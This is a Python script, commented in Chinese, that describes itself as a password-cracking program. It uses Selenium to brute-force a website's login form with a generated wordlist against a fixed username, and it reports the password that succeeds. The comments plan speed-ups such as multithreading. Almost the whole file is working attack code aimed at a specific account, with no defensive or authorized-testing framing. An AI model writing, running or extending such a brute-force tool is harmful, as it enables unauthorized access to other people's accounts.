# -*- coding: UTF-8 - # 破解密码程序。通过循环输入账号密码尝试登录网站,并记录相关账号密码 # 目前问题:由于知识有限,第一次输入密码后,密码输入框中的数据无法清除。 # 导致输入的密码数据累积。破解时,每次需要重新打开网页,比较费时 # 待优化: # 1.尝试调用js的方法,清除输入的数据 # 2.查找资料,继续查找清除已输入的内容的方法 # 3.可以尝试采用多线程进行尝试登录,缩短破解时间 from selenium import webdriver import time class url_login(object): def __init__(self, url, username, password): self.url = url self.username = username self.password = password def surf_web(self): for i in self.password: driver = webdriver.Chrome("D:\Program Files (x86)\python\chromedriver.exe") driver.get(self.url) time.sleep(1) user = driver.find_element_by_name('username') user.clear() user.send_keys(self.username) password1 = driver.find_element_by_name(r"password") password1.clear()#暂时无法清除上次输入的内容,因此,每次都关闭driver,并循环打开,叫费时间,待优化 password1.send_keys(i) button = driver.find_element_by_class_name(r"login-btn") button.click() print(button) time.sleep(1) try: errordata = driver.find_element_by_class_name('error-text') driver.close() except: print('ok,the right code is:', i) break class code_txt(object): def __init__(self): self.char = ['a', 'b', 'c', 'A', 'B', 'C', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '.'] def code_text(self, datalist0): datalist = [] if len(datalist0): for i in datalist0: for k in self.char: datalist.append(i + k) else: datalist = self.char return datalist def code_textnum(self, datalist, num): # 生成一个num长度的密码本,并保存本地文件 while 1: if num: datalist = self.code_text(datalist) num -= 1 else: f = open('code.txt', 'w') for i in datalist: f.write(i) f.write('\n') f.close() return datalist def code_textread(self, file): # 生成一个num长度的密码本,并保存本地文件 data = [] with open(file, 'r')as f: for i in f.readlines(): data.append(i.replace('\n', '')) return data if __name__ == "__main__": username = 'A190401158' url = "http://*******" codetext = code_txt() datalist = codetext.code_textread('code.txt') # 读取密码本数据,形成列表 login = url_login(url, username, datalist) login.surf_web()